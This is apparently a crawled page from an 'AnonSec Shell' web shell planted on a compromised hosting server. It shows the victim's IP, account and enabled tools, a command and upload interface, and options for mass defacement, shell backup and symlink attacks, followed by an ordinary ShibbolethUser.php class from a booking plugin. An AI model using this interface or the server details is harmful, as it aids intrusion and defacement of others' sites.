. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/plugins/Authentication/Shibboleth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/plugins/Authentication/Shibboleth/ShibbolethUser.php
<?php
/**
 * @file ShibbolethUser.php
 */

/**
 * Represents an external user and its attributes.
 *
 * @class ShibbolethUser
 */
class ShibbolethUser {

    /**
     * The username.
     * @var string
     */
    private $_username;

    /**
     * The user's first name.
     * @var string
     */
    private $_firstname;

    /**
     * The user's last name.
     * @var string
     */
    private $_lastname;

    /**
     * The user's email address.
     * @var string
     */
    private $_email;

    /**
     * The user's phone number.
     * @var string
     */
    private $_phone;

    /**
     * Constructor.
     * Populates the object's members with given values.
     *
     * @param array $values A map of user attributes.
     * @param ShibbolethOptions $options The plugin configuration.
     */
    public function __construct (array $values, ShibbolethOptions $options) {
        $config = $options->GetShibbolethOptions();
        $this->_username = $this->GetValue($values, $config[ShibbolethConfig::USERNAME]);
        $this->_firstname = $this->GetValue($values, $config[ShibbolethConfig::FIRSTNAME]);
        $this->_lastname = $this->GetValue($values, $config[ShibbolethConfig::LASTNAME]);
        $this->_email = $this->GetValue($values, $config[ShibbolethConfig::EMAIL]);
        $this->_phone = $this->GetValue($values, $config[ShibbolethConfig::PHONE]);
    }

    /**
     * Retrieves the username.
     * @return string|null
     */
    public function GetUsername () {
        return $this->_username;
    }

    /**
     * Retrieve's the user's first name.
     * @return string|null
     */
    public function GetFirstName () {
        return $this->_firstname;
    }

    /**
     * Retrieves the user's last name.
     * @return string|null
     */
    public function GetLastName () {
        return $this->_lastname;
    }

    /**
     * Retrieves the user's email address.
     * @return string|null
     */
    public function GetEmailAddress () {
        return $this->_email;
    }

    /**
     * Retrieves the user's phone number.
     * @return string|null
     */
    public function GetPhone () {
        return $this->_phone;
    }

    /**
     * Retrieves a value from a given map by a given key.
     *
     * @param array $values A map of key/value pairs.
     * @param string $key The key.
     * @return string|null The value, or NULL if none was found.
     */
    protected function GetValue (array $values, $key) {
        $value = null;
        if (array_key_exists($key, $values)) {
            $value = $values[$key];
        }
        return $value;
    }
}

Anon7 - 2022
AnonSec Team